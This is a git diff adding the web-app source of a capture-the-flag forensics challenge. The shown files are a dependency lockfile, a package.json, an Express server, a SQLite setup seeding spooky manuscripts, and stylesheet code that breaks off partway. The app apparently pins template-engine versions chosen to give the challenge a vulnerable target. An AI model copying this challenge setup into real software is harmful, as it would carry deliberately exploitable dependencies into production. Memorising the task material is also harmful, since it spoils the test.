"node_modules/safer-buffer": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", + "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==", + "license": "MIT" + }, + "node_modules/semver": { + "version": "7.6.3", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.6.3.tgz", + "integrity": "sha512-oVekP1cKtI+CTDvHWYFUcMtsK/00wmAEfyqKfNdARm8u1wNVhSgaX7A8d4UuIlUI5e84iEwOhs7ZPYRmzU9U6A==", + "license": "ISC", + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/send": { + "version": "0.19.0", + "resolved": "https://registry.npmjs.org/send/-/send-0.19.0.tgz", + "integrity": "sha512-dW41u5VfLXu8SJh5bwRmyYUbAoSB3c9uQh6L8h/KtsFREPWpbX1lrljJo186Jc4nmci/sGUZ9a0a0J2zgfq2hw==", + "license": "MIT", + "dependencies": { + "debug": "2.6.9", + "depd": "2.0.0", + "destroy": "1.2.0", + "encodeurl": "~1.0.2", + "escape-html": "~1.0.3", + "etag": "~1.8.1", + "fresh": "0.5.2", + "http-errors": "2.0.0", + "mime": "1.6.0", + "ms": "2.1.3", + "on-finished": "2.4.1", + "range-parser": "~1.2.1", + "statuses": "2.0.1" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/send/node_modules/encodeurl": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-1.0.2.tgz", + "integrity": "sha512-TPJXq8JqFaVYm2CWmPvnP2Iyo4ZSM7/QKcSmuMLDObfpH5fi7RUGmd/rTDf+rut/saiDiQEeVTNgAmJEdAOx0w==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/send/node_modules/ms": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", + "license": "MIT" + }, + "node_modules/serve-static": { + "version": "1.16.2", + "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-1.16.2.tgz", + "integrity": "sha512-VqpjJZKadQB/PEbEwvFdO43Ax5dFBZ2UECszz8bQ7pi7wt//PWe1P6MN7eCnjsatYtBT6EuiClbjSWP2WrIoTw==", + "license": "MIT", + "dependencies": { + "encodeurl": "~2.0.0", + "escape-html": "~1.0.3", + "parseurl": "~1.3.3", + "send": "0.19.0" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/set-blocking": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/set-blocking/-/set-blocking-2.0.0.tgz", + "integrity": "sha512-KiKBS8AnWGEyLzofFfmvKwpdPzqiy16LvQfK3yv/fVH7Bj13/wl3JSR1J+rfgRE9q7xUJK4qvgS8raSOeLUehw==", + "license": "ISC", + "optional": true + }, + "node_modules/set-function-length": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/set-function-length/-/set-function-length-1.2.2.tgz", + "integrity": "sha512-pgRc4hJ4/sNjWCSS9AmnS40x3bNMDTknHgL5UaMBTMyJnU90EgWh1Rz+MC9eFu4BuN/UwZjKQuY/1v3rM7HMfg==", + "license": "MIT", + "dependencies": { + "define-data-property": "^1.1.4", + "es-errors": "^1.3.0", + "function-bind": "^1.1.2", + "get-intrinsic": "^1.2.4", + "gopd": "^1.0.1", + "has-property-descriptors": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/setprototypeof": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.2.0.tgz", + "integrity": "sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw==", + "license": "ISC" + }, + "node_modules/side-channel": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.0.6.tgz", + "integrity": "sha512-fDW/EZ6Q9RiO8eFG8Hj+7u/oW+XrPTIChwCOM2+th2A6OblDtYYIpve9m+KvI9Z4C9qSEXlaGR6bTEYHReuglA==", + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.7", + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.4", + "object-inspect": "^1.13.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/signal-exit": { + "version": "3.0.7", + "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.7.tgz", + "integrity": "sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==", + "license": "ISC", + "optional": true + }, + "node_modules/simple-concat": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/simple-concat/-/simple-concat-1.0.1.tgz", + "integrity": "sha512-cSFtAPtRhljv69IK0hTVZQ+OfE9nePi/rtJmw5UjHeVyVroEqJXP1sFztKUy1qU+xvz3u/sfYJLa947b7nAN2Q==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT" + }, + "node_modules/simple-get": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/simple-get/-/simple-get-4.0.1.tgz", + "integrity": "sha512-brv7p5WgH0jmQJr1ZDDfKDOSeWWg+OVypG99A/5vYGPqJ6pxiaHLy8nxtFjBA7oMa01ebA9gfh1uMCFqOuXxvA==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT", + "dependencies": { + "decompress-response": "^6.0.0", + "once": "^1.3.1", + "simple-concat": "^1.0.0" + } + }, + "node_modules/smart-buffer": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/smart-buffer/-/smart-buffer-4.2.0.tgz", + "integrity": "sha512-94hK0Hh8rPqQl2xXc3HsaBoOXKV20MToPkcXvwbISWLEs+64sBq5kFgn2kJDHb1Pry9yrP0dxrCI9RRci7RXKg==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">= 6.0.0", + "npm": ">= 3.0.0" + } + }, + "node_modules/socks": { + "version": "2.8.3", + "resolved": "https://registry.npmjs.org/socks/-/socks-2.8.3.tgz", + "integrity": "sha512-l5x7VUUWbjVFbafGLxPWkYsHIhEvmF85tbIeFZWc8ZPtoMyybuEhL7Jye/ooC4/d48FgOjSJXgsF/AJPYCW8Zw==", + "license": "MIT", + "optional": true, + "dependencies": { + "ip-address": "^9.0.5", + "smart-buffer": "^4.2.0" + }, + "engines": { + "node": ">= 10.0.0", + "npm": ">= 3.0.0" + } + }, + "node_modules/socks-proxy-agent": { + "version": "6.2.1", + "resolved": "https://registry.npmjs.org/socks-proxy-agent/-/socks-proxy-agent-6.2.1.tgz", + "integrity": "sha512-a6KW9G+6B3nWZ1yB8G7pJwL3ggLy1uTzKAgCb7ttblwqdz9fMGJUuTy3uFzEP48FAs9FLILlmzDlE2JJhVQaXQ==", + "license": "MIT", + "optional": true, + "dependencies": { + "agent-base": "^6.0.2", + "debug": "^4.3.3", + "socks": "^2.6.2" + }, + "engines": { + "node": ">= 10" + } + }, + "node_modules/socks-proxy-agent/node_modules/debug": { + "version": "4.3.7", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.7.tgz", + "integrity": "sha512-Er2nc/H7RrMXZBFCEim6TCmMk02Z8vLC2Rbi1KEBggpo0fS6l0S1nnapwmIi3yW/+GOJap1Krg4w0Hg80oCqgQ==", + "license": "MIT", + "optional": true, + "dependencies": { + "ms": "^2.1.3" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/socks-proxy-agent/node_modules/ms": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", + "license": "MIT", + "optional": true + }, + "node_modules/sprintf-js": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.1.3.tgz", + "integrity": "sha512-Oo+0REFV59/rz3gfJNKQiBlwfHaSESl1pcGyABQsnnIfWOFt6JNj5gCog2U6MLZ//IGYD+nA8nI+mTShREReaA==", + "license": "BSD-3-Clause", + "optional": true + }, + "node_modules/sqlite3": { + "version": "5.1.7", + "resolved": "https://registry.npmjs.org/sqlite3/-/sqlite3-5.1.7.tgz", + "integrity": "sha512-GGIyOiFaG+TUra3JIfkI/zGP8yZYLPQ0pl1bH+ODjiX57sPhrLU5sQJn1y9bDKZUFYkX1crlrPfSYt0BKKdkog==", + "hasInstallScript": true, + "license": "BSD-3-Clause", + "dependencies": { + "bindings": "^1.5.0", + "node-addon-api": "^7.0.0", + "prebuild-install": "^7.1.1", + "tar": "^6.1.11" + }, + "optionalDependencies": { + "node-gyp": "8.x" + }, + "peerDependencies": { + "node-gyp": "8.x" + }, + "peerDependenciesMeta": { + "node-gyp": { + "optional": true + } + } + }, + "node_modules/squirrelly": { + "version": "9.0.0", + "resolved": "https://registry.npmjs.org/squirrelly/-/squirrelly-9.0.0.tgz", + "integrity": "sha512-MutQSfwrpIxvdUOFJ8XOfRSioLy+9O10bmBVWLik4uzJkD5TbeNSTOCKqLjzZJVcgdJNyLc8JRFUN15qFlZx9Q==", + "license": "MIT", + "engines": { + "node": ">=6.0.0" + }, + "funding": { + "url": "https://github.com/squirrellyjs/squirrelly?sponsor=1" + } + }, + "node_modules/ssri": { + "version": "8.0.1", + "resolved": "https://registry.npmjs.org/ssri/-/ssri-8.0.1.tgz", + "integrity": "sha512-97qShzy1AiyxvPNIkLWoGua7xoQzzPjQ0HAH4B0rWKo7SZ6USuPcrUiAFrws0UH8RrbWmgq3LMTObhPIHbbBeQ==", + "license": "ISC", + "optional": true, + "dependencies": { + "minipass": "^3.1.1" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/statuses": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/statuses/-/statuses-2.0.1.tgz", + "integrity": "sha512-RwNA9Z/7PrK06rYLIzFMlaF+l73iwpzsqRIFgbMLbTcLD6cOao82TaWefPXQvB2fOC4AjuYSEndS7N/mTCbkdQ==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/string_decoder": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", + "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", + "license": "MIT", + "dependencies": { + "safe-buffer": "~5.2.0" + } + }, + "node_modules/string-width": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "license": "MIT", + "optional": true, + "dependencies": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "license": "MIT", + "optional": true, + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/strip-json-comments": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-2.0.1.tgz", + "integrity": "sha512-4gB8na07fecVVkOI6Rs4e7T6NOTki5EmL7TUduTs6bu3EdnSycntVJ4re8kgZA+wx9IueI2Y11bfbgwtzuE0KQ==", + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "license": "MIT", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/tar": { + "version": "6.2.1", + "resolved": "https://registry.npmjs.org/tar/-/tar-6.2.1.tgz", + "integrity": "sha512-DZ4yORTwrbTj/7MZYq2w+/ZFdI6OZ/f9SFHR+71gIVUZhOQPHzVCLpvRnPgyaMpfWxxk/4ONva3GQSyNIKRv6A==", + "license": "ISC", + "dependencies": { + "chownr": "^2.0.0", + "fs-minipass": "^2.0.0", + "minipass": "^5.0.0", + "minizlib": "^2.1.1", + "mkdirp": "^1.0.3", + "yallist": "^4.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/tar-fs": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/tar-fs/-/tar-fs-2.1.1.tgz", + "integrity": "sha512-V0r2Y9scmbDRLCNex/+hYzvp/zyYjvFbHPNgVTKfQvVrb6guiE/fxP+XblDNR011utopbkex2nM4dHNV6GDsng==", + "license": "MIT", + "dependencies": { + "chownr": "^1.1.1", + "mkdirp-classic": "^0.5.2", + "pump": "^3.0.0", + "tar-stream": "^2.1.4" + } + }, + "node_modules/tar-fs/node_modules/chownr": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/chownr/-/chownr-1.1.4.tgz", + "integrity": "sha512-jJ0bqzaylmJtVnNgzTeSOs8DPavpbYgEr/b0YL8/2GO3xJEhInFmhKMUnEJQjZumK7KXGFhUy89PrsJWlakBVg==", + "license": "ISC" + }, + "node_modules/tar-stream": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/tar-stream/-/tar-stream-2.2.0.tgz", + "integrity": "sha512-ujeqbceABgwMZxEJnk2HDY2DlnUZ+9oEcb1KzTVfYHio0UE6dG71n60d8D2I4qNvleWrrXpmjpt7vZeF1LnMZQ==", + "license": "MIT", + "dependencies": { + "bl": "^4.0.3", + "end-of-stream": "^1.4.1", + "fs-constants": "^1.0.0", + "inherits": "^2.0.3", + "readable-stream": "^3.1.1" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/tar/node_modules/minipass": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/minipass/-/minipass-5.0.0.tgz", + "integrity": "sha512-3FnjYuehv9k6ovOEbyOswadCDPX1piCfhV8ncmYtHOjuPwylVWsghTLo7rabjC3Rx5xD4HDx8Wm1xnMF7S5qFQ==", + "license": "ISC", + "engines": { + "node": ">=8" + } + }, + "node_modules/toidentifier": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.1.tgz", + "integrity": "sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA==", + "license": "MIT", + "engines": { + "node": ">=0.6" + } + }, + "node_modules/tunnel-agent": { + "version": "0.6.0", + "resolved": "https://registry.npmjs.org/tunnel-agent/-/tunnel-agent-0.6.0.tgz", + "integrity": "sha512-McnNiV1l8RYeY8tBgEpuodCC1mLUdbSN+CYBL7kJsJNInOP8UjDDEwdk6Mw60vdLLrr5NHKZhMAOSrR2NZuQ+w==", + "license": "Apache-2.0", + "dependencies": { + "safe-buffer": "^5.0.1" + }, + "engines": { + "node": "*" + } + }, + "node_modules/type-is": { + "version": "1.6.18", + "resolved": "https://registry.npmjs.org/type-is/-/type-is-1.6.18.tgz", + "integrity": "sha512-TkRKr9sUTxEH8MdfuCSP7VizJyzRNMjj2J2do2Jr3Kym598JVdEksuzPQCnlFPW4ky9Q+iA+ma9BGm06XQBy8g==", + "license": "MIT", + "dependencies": { + "media-typer": "0.3.0", + "mime-types": "~2.1.24" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/unique-filename": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/unique-filename/-/unique-filename-1.1.1.tgz", + "integrity": "sha512-Vmp0jIp2ln35UTXuryvjzkjGdRyf9b2lTXuSYUiPmzRcl3FDtYqAwOnTJkAngD9SWhnoJzDbTKwaOrZ+STtxNQ==", + "license": "ISC", + "optional": true, + "dependencies": { + "unique-slug": "^2.0.0" + } + }, + "node_modules/unique-slug": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/unique-slug/-/unique-slug-2.0.2.tgz", + "integrity": "sha512-zoWr9ObaxALD3DOPfjPSqxt4fnZiWblxHIgeWqW8x7UqDzEtHEQLzji2cuJYQFCU6KmoJikOYAZlrTHHebjx2w==", + "license": "ISC", + "optional": true, + "dependencies": { + "imurmurhash": "^0.1.4" + } + }, + "node_modules/unpipe": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz", + "integrity": "sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/util-deprecate": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", + "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==", + "license": "MIT" + }, + "node_modules/utils-merge": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/utils-merge/-/utils-merge-1.0.1.tgz", + "integrity": "sha512-pMZTvIkT1d+TFGvDOqodOclx0QWkkgi6Tdoa8gC8ffGAAqz9pzPTZWAybbsHHoED/ztMtkv/VoYTYyShUn81hA==", + "license": "MIT", + "engines": { + "node": ">= 0.4.0" + } + }, + "node_modules/vary": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/vary/-/vary-1.1.2.tgz", + "integrity": "sha512-BNGbWLfd0eUPabhkXUVm0j8uuvREyTh5ovRa/dyow/BqAbZJyC+5fU+IzQOzmAKzYqYRAISoRhdQr3eIZ/PXqg==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/which": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", + "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", + "license": "ISC", + "optional": true, + "dependencies": { + "isexe": "^2.0.0" + }, + "bin": { + "node-which": "bin/node-which" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/wide-align": { + "version": "1.1.5", + "resolved": "https://registry.npmjs.org/wide-align/-/wide-align-1.1.5.tgz", + "integrity": "sha512-eDMORYaPNZ4sQIuuYPDHdQvf4gyCF9rEEV/yPxGfwPkRodwEgiMUUXTx/dex+Me0wxx53S+NgUHaP7y3MGlDmg==", + "license": "ISC", + "optional": true, + "dependencies": { + "string-width": "^1.0.2 || 2 || 3 || 4" + } + }, + "node_modules/wrappy": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", + "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==", + "license": "ISC" + }, + "node_modules/yallist": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", + "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", + "license": "ISC" + } + } +} diff --git a/htb/hacktheboo2024/forensics/[Very Easy] Forbidden Manuscript/dev/shadowbrook-library/package.json b/htb/hacktheboo2024/forensics/[Very Easy] Forbidden Manuscript/dev/shadowbrook-library/package.json new file mode 100644 index 0000000..0981646 --- /dev/null +++ b/htb/hacktheboo2024/forensics/[Very Easy] Forbidden Manuscript/dev/shadowbrook-library/package.json @@ -0,0 +1,17 @@ +{ + "name": "shadowbrook-library", + "version": "1.0.0", + "description": "A spooky library of forbidden knowledge", + "main": "src/app.js", + "scripts": { + "start": "node src/app.js" + }, + "dependencies": { + "@blakeembrey/template": "1.1.0", + "body-parser": "^1.19.0", + "ejs": "^3.1.10", + "express": "^4.17.1", + "sqlite3": "^5.0.0", + "squirrelly": "^9.0.0" + } +} diff --git a/htb/hacktheboo2024/forensics/[Very Easy] Forbidden Manuscript/dev/shadowbrook-library/src/app.js b/htb/hacktheboo2024/forensics/[Very Easy] Forbidden Manuscript/dev/shadowbrook-library/src/app.js new file mode 100644 index 0000000..c9c8ce0 --- /dev/null +++ b/htb/hacktheboo2024/forensics/[Very Easy] Forbidden Manuscript/dev/shadowbrook-library/src/app.js @@ -0,0 +1,23 @@ +const express = require('express'); +const path = require('path'); +const bodyParser = require('body-parser'); +const manuscriptRoutes = require('./routes/manuscripts'); +const indexRoutes = require('./routes/index'); +const app = express(); + +// Middleware +app.use(bodyParser.urlencoded({ extended: true })); +app.use(express.static(path.join(__dirname, 'public'))); + +// View engine setup +app.set('view engine', 'ejs'); +app.set('views', path.join(__dirname, 'views')); + +// Routes +app.use('/', indexRoutes); +app.use('/manuscripts', manuscriptRoutes); + +const PORT = process.env.PORT || 3000; +app.listen(PORT, () => { + console.log(`Shadowbrook Library is running on port ${PORT}`); +}); diff --git a/htb/hacktheboo2024/forensics/[Very Easy] Forbidden Manuscript/dev/shadowbrook-library/src/config/db.js b/htb/hacktheboo2024/forensics/[Very Easy] Forbidden Manuscript/dev/shadowbrook-library/src/config/db.js new file mode 100644 index 0000000..e452d6e --- /dev/null +++ b/htb/hacktheboo2024/forensics/[Very Easy] Forbidden Manuscript/dev/shadowbrook-library/src/config/db.js @@ -0,0 +1,81 @@ +const sqlite3 = require('sqlite3').verbose(); +const fs = require('fs'); +const path = require('path'); + +// Define the database path +const dbDirectory = path.join(__dirname, '../data'); +const dbPath = process.env.DB_PATH || path.join(dbDirectory, 'shadowbrook.db'); + +// Ensure the database directory exists +if (!fs.existsSync(dbDirectory)) { + console.log(`Directory '${dbDirectory}' does not exist. Creating...`); + fs.mkdirSync(dbDirectory, { recursive: true }); +} + +// Connect to SQLite database +const db = new sqlite3.Database(dbPath, (err) => { + if (err) { + console.error('Error connecting to SQLite database:', err.message); + } else { + console.log('Connected to SQLite database.'); + + // Create manuscripts table if it doesn't exist + db.run(`CREATE TABLE IF NOT EXISTS manuscripts ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + title TEXT NOT NULL, + author TEXT NOT NULL, + content TEXT NOT NULL + )`, (err) => { + if (err) { + console.error('Error creating manuscripts table:', err.message); + } else { + console.log('Manuscripts table ready.'); + + // Initialize database with creepy Halloween-themed manuscripts + const manuscripts = [ + { + title: "The Whispering Shadows", + author: "Unknown", + content: "In the dead of night, the shadows in the old library seem to move, whispering secrets of those long forgotten. Some say they hear faint voices calling their name..." + }, + { + title: "The Cursed Pumpkin", + author: "Edgar Fallow", + content: "Every year, the pumpkin with a face twisted in agony reappears on the doorstep of the abandoned house. Its origins remain unknown, but those who dare carve it disappear without a trace." + }, + { + title: "The Haunting of Willow Lane", + author: "Mary Blackthorn", + content: "A house once full of life now stands as a decrepit shell. At midnight, the laughter of children echoes through the halls, though none have lived there for decades..." + }, + { + title: "The Witch's Grimoire", + author: "Seraphina Nightshade", + content: "Bound in human skin, the Witch's Grimoire contains forbidden spells. It is said those who read its pages under a blood moon shall be granted immense power — but at a terrible cost." + }, + { + title: "The Mask of Eternal Night", + author: "Mortimer Graves", + content: "A porcelain mask with hollow eyes sits locked away in a museum. Legends tell that wearing it opens a portal to a realm of endless darkness, where souls are consumed for eternity." + } + ]; + + const insertManuscript = db.prepare(`INSERT INTO manuscripts (title, author, content) VALUES (?, ?, ?)`); + + manuscripts.forEach((manuscript) => { + insertManuscript.run(manuscript.title, manuscript.author, manuscript.content, (err) => { + if (err) { + console.error('Error inserting manuscript:', err.message); + } else { + console.log(`Manuscript "${manuscript.title}" added.`); + } + }); + }); + + insertManuscript.finalize(); + } + }); + } +}); + +module.exports = db; diff --git a/htb/hacktheboo2024/forensics/[Very Easy] Forbidden Manuscript/dev/shadowbrook-library/src/public/dark-theme.css b/htb/hacktheboo2024/forensics/[Very Easy] Forbidden Manuscript/dev/shadowbrook-library/src/public/dark-theme.css new file mode 100644 index 0000000..87bd276 --- /dev/null +++ b/htb/hacktheboo2024/forensics/[Very Easy] Forbidden Manuscript/dev/shadowbrook-library/src/public/dark-theme.css @@ -0,0 +1,360 @@ +/* General Styles */ +body { + background-color: #0d0d0d; /* Darker background for deeper contrast */ + color: #e6e6e6; + font-family: 'Merriweather', serif; + margin: 0; + padding: 0; + text-align: center; + overflow-x: hidden; +} + +a { + color: #ff6347; + text-decoration: none; + transition: color 0.3s ease; +} + +a:hover { + color: #ffa07a; +} + +/* Cool Form Styles */ +.add-manuscript { + margin-top: 50px; + padding: 40px; + background-color: #1c1c1c; + border-radius: 10px; + box-shadow: 0 10px 30px rgba(0, 0, 0, 0.8), 0 0 15px rgba(255, 99, 71, 0.5); + position: relative; + max-width: 600px; + margin: 50px auto; + background-image: linear-gradient(135deg, rgba(255, 69, 0, 0.4), rgba(255, 99, 71, 0.2)); +} + +.add-manuscript h2 { + font-size: 2.5rem; + color: #ff6347; + margin-bottom: 20px; + text-transform: uppercase; + letter-spacing: 2px; + background: linear-gradient(45deg, #ff6347, #ff4500); + -webkit-background-clip: text; + -webkit-text-fill-color: transparent; + text-shadow: 0 0 10px rgba(255, 69, 0, 0.5); +} + +/* Form Label Styling */ +.add-manuscript form label { + font-size: 1.2rem; + text-transform: uppercase; + color: #ff6347; + display: block; + text-align: left; + margin-bottom: 8px; + letter-spacing: 1px; +} + +.add-manuscript form input[type="text"], +.add-manuscript form textarea { + width: 100%; + padding: 12px 15px; + background-color: #1a1a1a; + border: 1px solid #444; + border-radius: 5px; + color: #e6e6e6; + font-size: 1rem; + outline: none; + margin-bottom: 20px; + transition: border-color 0.3s ease, box-shadow 0.3s ease; +} + +.add-manuscript form input[type="text"]:focus, +.add-manuscript form textarea:focus { + border-color: #ff4500; + box-shadow: 0 0 15px rgba(255, 69, 0, 0.6); + background-color: #222; +} + +/* Ghostly Glow Effects */ +.add-manuscript form input[type="text"]:focus::after, +.add-manuscript form textarea:focus::after { + content: ''; + position: absolute; + width: 100%; + height: 100%; + border-radius: 5px; + box-shadow: 0 0 15px rgba(255, 69, 0, 0.7); + animation: pulseGlow 1.5s infinite ease-in-out; +} + +/* Animated Glowing Borders */ +@keyframes pulseGlow { + 0% { + box-shadow: 0 0 5px rgba(255, 69, 0, 0.6); + } + 50% { + box-shadow: 0 0 20px rgba(255, 69, 0, 0.8); + } + 100% { + box-shadow: 0 0 5px rgba(255, 69, 0, 0.6); + } +} + +/* Container */ +.container { + width: 90%; + max-width: 1200px; + margin: 0 auto; + padding: 40px 20px; + position: relative; + z-index: 1; +} + +/* Floating Ghostly Effects */ +.container::before { + content: ''; + position: absolute; + top: -50px; + right: -50px; + width: 200px; + height: 200px; + background: radial-gradient(circle, rgba(255,255,255,0.1), transparent); + border-radius: 50%; + animation: float 6s ease-in-out infinite; + z-index: -1; +} + +@keyframes float { + 0% { + transform: translateY(0) rotate(0deg); + } + 50% { + transform: translateY(-30px) rotate(180deg); + } + 100% { + transform: translateY(0) rotate(360deg); + } +} + +/* Header */ +header { + background-color: #222; + padding: 30px; + text-align: center; + border-bottom: 2px solid #444; + box-shadow: 0 4px 15px rgba(0, 0, 0, 0.6); + position: relative; +} + +header .logo h1 { + color: #ff4500; + font-size: 4rem; + letter-spacing: 4px; + text-transform: uppercase; + background: linear-gradient(45deg, #ff6347, #ff4500); + -webkit-background-clip: text; + -webkit-text-fill-color: transparent; +} + +nav ul { + list-style-type: none; + padding: 0; + margin: 30px 0; +} + +nav ul li { + display: inline-block; + margin: 0 15px; + font-size: 1.4rem; +} + +nav ul li a { + color: #e6e6e6; + position: relative; +} + +nav ul li a::before { + content: ''; + position: absolute; + width: 0; + height: 2px; + bottom: -2px; + left: 0; + background-color: #ff4500; + visibility: hidden; + transition: all 0.3s ease-in-out; +} + +nav ul li a:hover::before { + visibility: visible; + width: 100%; +} + +/* Footer */ +footer { + margin-top: 40px; + padding: 20px; + background-color: #111; + color: #777; + font-size: 0.9rem; + box-shadow: 0 -4px 15px rgba(0, 0, 0, 0.6); + position: relative; +} + +footer::before { + content: ''; + position: absolute; + top: 0; + left: 50%; + width: 100%; + height: 1px; + background: linear-gradient(to right, transparent, #777, transparent); + transform: translateX(-50%); +} + +/* Home Section */ +.home-section { + margin-top: 